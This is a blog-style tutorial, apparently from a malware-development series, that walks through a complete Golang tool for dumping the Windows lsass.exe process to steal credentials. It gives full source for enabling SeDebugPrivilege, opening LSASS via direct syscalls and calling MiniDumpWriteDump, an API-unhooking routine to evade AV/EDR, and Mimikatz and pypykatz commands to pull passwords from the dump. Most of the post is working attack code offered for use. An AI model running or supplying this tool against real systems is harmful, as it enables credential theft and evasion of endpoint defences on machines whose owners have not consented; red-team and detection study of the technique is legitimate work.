Home Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)
Post
Cancel

Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

Introduction

Hello dear hackers!

Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. Inspired by Dumpert (an awesome tool)

Explanation

During red team operations you may need to get credentials to reuse them or/and maintain access but if you try to use Mimikatz to do this, is highly probable to be detected so instead of that we can dump the LSASS.EXE memory process which takes core of the security policies and it means Local Security Authority Subsystem Service. This technique must be done as Administrator because the process runs with high privileges and SeDebugPrivilege is required in order to interact with the LSASS process.

The general workflow of the program will be like this:

Code

The first part of the program will use direct syscalls as evasion technique (Hell’s Gate & Halo’s Gate) but we’ll apply more techniques later.

Let’s import necessary packages, if you haven’t installed my library execute this:

1
go get github.com/D3Ext/Hooka/pkg/hooka

Now we continue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import (
  "os"
  "fmt"
  "log"
  "time"
  "errors"
  "unsafe"
  "syscall"

  "golang.org/x/sys/windows"

  // Custom malware dev package
  "github.com/D3Ext/Hooka/pkg/hooka"
)

In this post we also will be using my own malware development library which has tons of useful functions but today we just will use it to implement direct syscall via Hell’s Gate and Halo’s Gate techniques. However the rest of the program like API unhooking will be done by hand.

In case you don’t know too much about this techniques you can get a really good overview of them here and here

I won’t dig this to deep but here we define required structures, most of them are used to interact with processes or session tokens later:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Necessary structures
type ClientID struct {
  UniqueProcess uintptr
  UniqueThread  uintptr
}

type ObjectAttrs struct {
  Length                   uintptr
  RootDirectory            uintptr
  ObjectName               uintptr
  Attributes               uintptr
  SecurityDescriptor       uintptr
  SecurityQualityOfService uintptr
}

type WindowsProcess struct { // Windows process structure
  ProcessID       int     // PID
  ParentProcessID int     // PPID
  Exe             string  // Cmdline executable (e.g. explorer.exe)
}

// Privileges and attributes
type Luid struct {
  lowPart  uint32
  highPart int32
}

type LuidAndAttributes struct {
  luid       Luid
  attributes uint32
}

type TokenPrivileges struct {
  privilegeCount uint32
  privileges     [1]LuidAndAttributes
}

As I said before we need to have SeDebugPrivilege enabled in order to interact with LSASS.EXE process so let’s code a function which enables it using some Windows calls like LookupPrivilegeValueW and AdjustTokenPrivileges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
...

func EnableSeDebugPrivilege() (error) {

  var privilege_name = "SeDebugPrivilege"
  var tokenAdjustPrivileges = 0x0020 // Windows values
  var SePrivilegeEnabled uint32 = 0x00000002
  var tokenQuery = 0x0008

  // Import DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  advapi32 := windows.NewLazyDLL("advapi32.dll")

  // Resolve API calls
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetLastError := kernel32.NewProc("GetLastError")
  OpenProcessToken := advapi32.NewProc("OpenProcessToken")
  LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
  AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")

  // Get current process handle
  currentProc, _, _ := GetCurrentProcess.Call()

  var hToken uintptr
  // Get token from process
  result, _, err := OpenProcessToken.Call(
    currentProc,
    uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
    uintptr(unsafe.Pointer(&hToken)),
  )

  if result != 1 { // Handle error
    return err
  }

  var tkp TokenPrivileges
  // Get token privileges values
  result, _, err = LookupPrivilegeValue.Call(
    uintptr(0),
    uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
    uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
  )

  if result != 1 { // Handle error
    return err
  }

  // Modify with custom values
  tkp.privilegeCount = 1
  tkp.privileges[0].attributes = SePrivilegeEnabled

  // Finally overwrite token privs
  result, _, err = AdjustTokenPrivileges.Call(
    hToken,
    0,
    uintptr(unsafe.Pointer(&tkp)),
    0,
    uintptr(0),
    0,
  )

  if result != 1 { // Handle error
    return err
  }

  // Check if last return code was an error
  result, _, _ = GetLastError.Call()
  if result != 0 {
    return err
  }
}

...

There are some comments along the code but in case you don’t wanna read every letter, this function follows this structure:

  • 1. Get a handle to self process via GetCurrentProcess()
  • 2. Get handle token via OpenProcessToken
  • 3. Get privileges values via LookupPrivilegeValue
  • 4. Modify and overwrite token to enable SeDebugPrivilege

Now we create a function to check administrator rights, for our purpose we’ll check if user is inside admins group. If someone executes the program as non-privileged user it returns an error

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...

// I took and moded this function from somewhere but I don't remember
func CheckAdmin() (bool, error) {

  var sid *windows.SID
  err := windows.AllocateAndInitializeSid(
    &windows.SECURITY_NT_AUTHORITY,
    2,
    windows.SECURITY_BUILTIN_DOMAIN_RID,
    windows.DOMAIN_ALIAS_RID_ADMINS,
    0, 0, 0, 0, 0, 0,
    &sid,
  )

  if err != nil {
    return false, err
  }

  token := windows.Token(0)

  // Check if is inside admin group
  member, err := token.IsMember(sid)
  if err != nil { // Handle error
    return false, err
  }

  return member, nil
}

...

This function uses AllocateAndInitializeSid API call to retrieve SIDs information and then it checks if the user is part of the Administrators group. If the user is an admin, it returns true, otherwise it returns false.

Let’s take a look about how to find lsass.exe PID. First of all we have to use some API calls like CreateToolhelp32Snapshot and Process32Next, I think that they are never detected as malicious or something like that because they just enumerate and list processes so we don’t have to do anything special.

However in this case we’ll be using a modified version of a function from https://github.com/mitchellh/go-ps/blob/master/process_windows.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// Auxiliary function
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
  end := 0
  for {
    if e.ExeFile[end] == 0 {
      break
    }
    end++
  }

  return WindowsProcess{
    ProcessID:       int(e.ProcessID),
    ParentProcessID: int(e.ParentProcessID),
    Exe:             syscall.UTF16ToString(e.ExeFile[:end]),
  }
}

func FindLsassPid() (int, error) {
  const TH32CS_SNAPPROCESS = 0x00000002

  handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
  if err != nil {
    return 0, err
  }
  defer windows.CloseHandle(handle)

  var entry windows.ProcessEntry32
  entry.Size = uint32(unsafe.Sizeof(entry))

  err = windows.Process32First(handle, &entry)
  if err != nil {
    return 0, err
  }

  results := make([]WindowsProcess, 0, 50)
  for {
    results = append(results, newWindowsProcess(&entry))

    err = windows.Process32Next(handle, &entry)
    if err != nil {
      // Check if there aren't more processes
      if err == syscall.ERROR_NO_MORE_FILES {
        break
      }

      return 0, err
    }
  }

  // Iterate over all processes
  for _, proc := range results {
    // Check if process name is lsass.exe
    if proc.Exe == "lsass.exe" {
      return proc.ProcessID, nil // Return PID
    }
  }

  return 0, errors.New("lsass.exe process not found!")
}

Once we also have that, let’s start with the main part… the LSASS.EXE process dump

This function will receive the process ID (PID) and a string which is the file where the process dump will be written to

Golang function

1
2
3
func DumpLsass(pid int, output string) (error) {
  ...
}

We use hooka to retrieve direct syscalls (see here for references), I only use it with NtOpenProcess however I also wanted to use it with NtCreateFile but it was really hard so I let you to do that. We will use CreateFileW instead

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
func DumpLsass(pid int, output string) (error) {
  // Get syscall
  NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
  if err != nil {
    return err
  }

  // Variable to store process pointer
  var procHandle uintptr
  // Open lsass process
  _, err = hooka.Syscall(
    NtOpenProcess, // syscall
    uintptr(unsafe.Pointer(&procHandle)), // process handle
    uintptr(0xFFFF),
    uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
    uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
    0,
  )

  if err != nil { // Handle error
    return err
  } else if procHandle == 0 {
    return err
  }

  // Create file on path
  os.Create(dump_path)
  // Get API call
  CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
  // Convert string to uintptr
  path, _ := syscall.UTF16PtrFromString(output)

  // Call CreateFileW to write memory bytes
  fHandle, _, _ := CreateFile.Call(
    uintptr(unsafe.Pointer(path)), // file path
    syscall.GENERIC_WRITE, // access
    syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
    0,
    syscall.OPEN_EXISTING,
    syscall.FILE_ATTRIBUTE_NORMAL,
    0,
  )

  MiniDumpWriteDump := windows.NewLazyDLL.NewProc("MiniDumpWriteDump")

  // Dump memory
  ret, _, err := MiniDumpWriteDump.Call(
    uintptr(procHandle), // process handle
    uintptr(pid), // process id
    uintptr(fHandle), // file handle
    0x00061907,
    0,
    0,
    0,
  )

  if (ret == 0) {
    os.Remove(dump_path)
    return err
  }

  return nil
}

As you see, this piece of code firstly opens the given PID to get a handle to the process, then it creates a file in which dump is writen and finally calls MiniDumpWriteDump which writes process memory to file handle.

At this point we just have to create the main() function of every Golang script and adding some extra output logging:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
func main(){
  fmt.Println("Checking permissions...")
  check, err := CheckAdmin()
  if err != nil {
    log.Fatal(err)
  }

  if check == false {
    log.Fatal(errors.New("An error has ocurred, please run as admin!"))
  }

  fmt.Println("Enabling SeDebugPrivilege...")
  err = EnableSeDebugPrivilege()
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("Searching lsass.exe process...")
  pid, err := FindLsassPid()
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("PID found:", pid)

  fmt.Println("Dumping lsass.exe process...")
  err = DumpLsass(pid, "lsass.dmp")
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[+] Process finished!")
}

Let’s add some logging to the code to provide a better output. And finally add some cool banner using manytools.org automatic generator

And here it’s the final code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
package main

/*

Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-4/

*/

...

// Packages and structs omitted for brevety

func EnableSeDebugPrivilege() (error) {

  var privilege_name = "SeDebugPrivilege"
  var tokenAdjustPrivileges = 0x0020 // Windows values
  var tokenQuery = 0x0008
  var SePrivilegeEnabled uint32 = 0x00000002

  // Import DLLs
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  advapi32 := windows.NewLazyDLL("advapi32.dll")

  // Get API calls
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetLastError := kernel32.NewProc("GetLastError")
  OpenProcessToken := advapi32.NewProc("OpenProcessToken")
  LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
  AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")

  // Get current process handle
  currentProc, _, _ := GetCurrentProcess.Call()

  var hToken uintptr
  // Get token from process
  result, _, err := OpenProcessToken.Call(
    currentProc,
    uintptr(tokenAdjustPrivileges) | uintptr(tokenQuery),
    uintptr(unsafe.Pointer(&hToken)),
  )

  if result != 1 { // Handle error
    return err
  }

  var tkp TokenPrivileges
  // Get token privileges values
  result, _, err = LookupPrivilegeValue.Call(
    uintptr(0),
    uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(privilege_name))),
    uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
  )

  if result != 1 { // Handle error
    return err
  }

  // Modify with custom values
  tkp.privilegeCount = 1
  tkp.privileges[0].attributes = SePrivilegeEnabled

  // Finally overwrite token privs
  result, _, err = AdjustTokenPrivileges.Call(
    hToken,
    0,
    uintptr(unsafe.Pointer(&tkp)),
    0,
    uintptr(0),
    0,
  )

  if result != 1 { // Handle error
    return err
  }

  // Check if last return code was an error
  result, _, _ = GetLastError.Call()
  if result != 0 {
    return err
  }

  return nil
}

func CheckAdmin() (bool, error) {

  var sid *windows.SID
  err := windows.AllocateAndInitializeSid(
    &windows.SECURITY_NT_AUTHORITY,
    2,
    windows.SECURITY_BUILTIN_DOMAIN_RID,
    windows.DOMAIN_ALIAS_RID_ADMINS,
    0, 0, 0, 0, 0, 0,
    &sid,
  )

  if err != nil {
    return false, err
  }

  token := windows.Token(0)

  // Check if is inside admin group
  member, err := token.IsMember(sid)
  if err != nil { // Handle error
    return false, err
  }

  return member, nil
}

// Auxiliary function moded from https://github.com/mitchellh/go-ps/blob/master/process_windows.go
func newWindowsProcess(e *windows.ProcessEntry32) (WindowsProcess) {
  end := 0
  for {
    if e.ExeFile[end] == 0 {
      break
    }
    end++
  }

  return WindowsProcess{
    ProcessID:       int(e.ProcessID),
    ParentProcessID: int(e.ParentProcessID),
    Exe:             syscall.UTF16ToString(e.ExeFile[:end]),
  }
}

func FindLsassPid() (int, error) {
  const TH32CS_SNAPPROCESS = 0x00000002

  handle, err := windows.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
  if err != nil {
    return 0, err
  }
  defer windows.CloseHandle(handle)

  var entry windows.ProcessEntry32
  entry.Size = uint32(unsafe.Sizeof(entry))

  err = windows.Process32First(handle, &entry)
  if err != nil {
    return 0, err
  }

  results := make([]WindowsProcess, 0, 50)
  for {
    results = append(results, newWindowsProcess(&entry))

    err = windows.Process32Next(handle, &entry)
    if err != nil {
      // Check if there aren't more processes
      if err == syscall.ERROR_NO_MORE_FILES {
        break
      }

      return 0, err
    }
  }

  // Iterate over all processes
  for _, proc := range results {
    // Check if process name is lsass.exe
    if proc.Exe == "lsass.exe" {
      return proc.ProcessID, nil // Return PID
    }
  }

  return 0, errors.New("lsass.exe process not found!")
}

func DumpLsass(pid int, output string) (error) {
  // Get syscall ID
  NtOpenProcess, err := hooka.GetSysId("NtOpenProcess")
  if err != nil { // Handle error
    return err
  }

  // Variable to store process pointer
  var procHandle uintptr
  // Open lsass process
  _, err = hooka.Syscall(
    NtOpenProcess, // syscall
    uintptr(unsafe.Pointer(&procHandle)), // process handle
    uintptr(0xFFFF),
    uintptr(unsafe.Pointer(&ObjectAttrs{0, 0, 0, 0, 0, 0})), // attributes
    uintptr(unsafe.Pointer(&ClientID{uintptr(pid), 0})),
    0,
  )

  if err != nil { // Handle error
    return err
  } else if procHandle == 0 {
    return err
  }

  // Create file on path
  os.Create(output)
  // Get API call
  CreateFile := windows.NewLazyDLL("kernel32").NewProc("CreateFileW")
  // Convert string to uintptr
  path, _ := syscall.UTF16PtrFromString(output)

  // Call CreateFileW to write memory bytes
  fHandle, _, _ := CreateFile.Call(
    uintptr(unsafe.Pointer(path)), // file path
    syscall.GENERIC_WRITE, // access
    syscall.FILE_SHARE_READ | syscall.FILE_SHARE_WRITE,
    0,
    syscall.OPEN_EXISTING,
    syscall.FILE_ATTRIBUTE_NORMAL,
    0,
  )

  MiniDumpWriteDump := windows.NewLazyDLL("Dbghelp.dll").NewProc("MiniDumpWriteDump")
  // Dump memory
  ret, _, err := MiniDumpWriteDump.Call(
    uintptr(procHandle), // process handle
    uintptr(pid), // process id
    uintptr(fHandle), // file handle
    0x00061907, // MiniDumpWithFullMemory
    0,
    0,
    0,
  )

  if (ret == 0) { // Handle error
    os.Remove(output)
    return err
  }

  return nil
}

func Banner(){
  fmt.Println(`   ___         ___
  / __|___ ___|   \ _  _ _ __  _ __
 | (_ / _ \___| |) | || | '  \| '_ \
  \___\___/   |___/ \_,_|_|_|_| .__/
                              |_|
  `)
}

func main(){
  Banner()

  fmt.Println("[*] Checking permissions...")
  check, err := CheckAdmin()
  if err != nil {
    log.Fatal(err)
  }

  if check == false {
    log.Fatal(errors.New("An error has ocurred, please run as admin!"))
  }

  fmt.Println("[+] Administrator privileges found!")

  fmt.Println("Enabling SeDebugPrivilege...")
  err = EnableSeDebugPrivilege()
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[*] Searching lsass.exe process...")
  pid, err := FindLsassPid()
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[+] PID found:", pid)

  fmt.Println("[*] Dumping lsass.exe process...")
  err = DumpLsass(pid, "lsass.dmp")
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[+] Process finished!")
}

If you have any doubt or you wanna ask me anything, contact me via Discord my user is d3ext

Let’s go testing it!

Demo

First of all we compile our code:

1
GOARCH=amd64 GOOS=windows go build main.go

Now we transfer it to our testing Windows machine and let’s execute it

As you can see it seems to have worked. If I list the files we notice that the dump file was created as expected!

Now you can use Mimikatz (or pypykatz if using linux) to extract credentials from memory dump

Mimikatz internal commands

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Pypykatz from CLI

1
pypykatz lsa minidump lsass.dmp

If all has gone right you should be able to see the info and credentials

Evasion via API unhooking

Now let’s hard the things to evade possible security measures. In this ocassion we’ll be unhooking native API functions before doing anything so the rest of syscalls aren’t going to be detected.

If you don’t know how API unhooking works you have some excellent posts from ired.team, @MDSec and @SpecialHoang in which they explain it really great.

How will this affect to MiniDumpWriteDump? Well, you probably would have noticed that this function isn’t part of the native API (ntdll.dll), and you’re right but this function uses NtReadVirtualMemory under the hood so if that function isn’t being hooked by any AV/EDR it won’t probably be flagged. You may also think that the same syscalls which are used to unhook native API (i.e. NtWriteVirtualMemory) will even be detected as they’re being called, but that’s why we use direct syscalls via Hell’s Gate and Halo’s Gate techniques.

So the evasion workflow will be something like this:

Before coding this technique, let’s check if the MiniDumpWriteDump calls NtReadVirtualMemory under the hood with WinDbg

First of all we open WinDbg with administrator privs as program needs to be executed with high privs.

Then we click on Open Executable and select the generated .exe

We add a breakpoint on the NtReadVirtualMemory function and continue the program execution. As you can see we hitted the breakpoint so we were right. In this case the syscall starting bytes are 4c 8b d1 b8 which means that the function isn’t hooked but in a monitorized environment it would probably be

Let’s move the explanation into Golang code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
func UnhookApi() (error) {
  // Get calls from dll
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
  GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
  GetProcAddress := kernel32.NewProc("GetProcAddress")

  // Define bytes array for original syscall bytes
  var assembly_bytes []byte

  ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
  defer syscall.FreeLibrary(ntdll_lib)

  procAddr, _ := syscall.GetProcAddress(ntdll_lib, "NtReadVirtualMemory")

  ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
  funcBytes := ptr_bytes[:5:5]

  for i := 0; i < 5; i++ {
    assembly_bytes = append(assembly_bytes, funcBytes[i])
  }

  pHandle, _, _ := GetCurrentProcess.Call()

  ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
  moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))

  funcname, _ := windows.UTF16PtrFromString("NtReadVirtualMemory")
  baseAddr, _, _ := GetProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(funcname)))

  // Get syscall
  NtWriteVirtualMemory, err := hooka.GetSysId("NtWriteVirtualMemory")
  if err != nil {
    return err
  }

  hooka.Syscall(
    NtWriteVirtualMemory,
    uintptr(pHandle),
    uintptr(baseAddr),
    uintptr(unsafe.Pointer(&assembly_bytes[0])),
    uintptr(len(assembly_bytes)),
    0,
  )

  return nil
}

Once we have this function we just have to add it on the main function. And now let’s see how it works

Demo 2

Repeat the same process

1
GOARCH=amd64 GOOS=windows go build evasion.go

Now we execute the new binary

And the dump file is created too!

References

1
2
3
4
5
6
7
8
9
10
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
https://github.com/outflanknl/Dumpert
https://j00ru.vexillium.org/syscalls/nt/64/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass

Conclusion

As you see this technique is useful because it doesn’t use Mimikatz but instead use MiniDumpWriteDump API call which is sometimes easy to detect by EDRs. That’s why we use some evasion tricks. I hope you’ve learned a lot :)

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.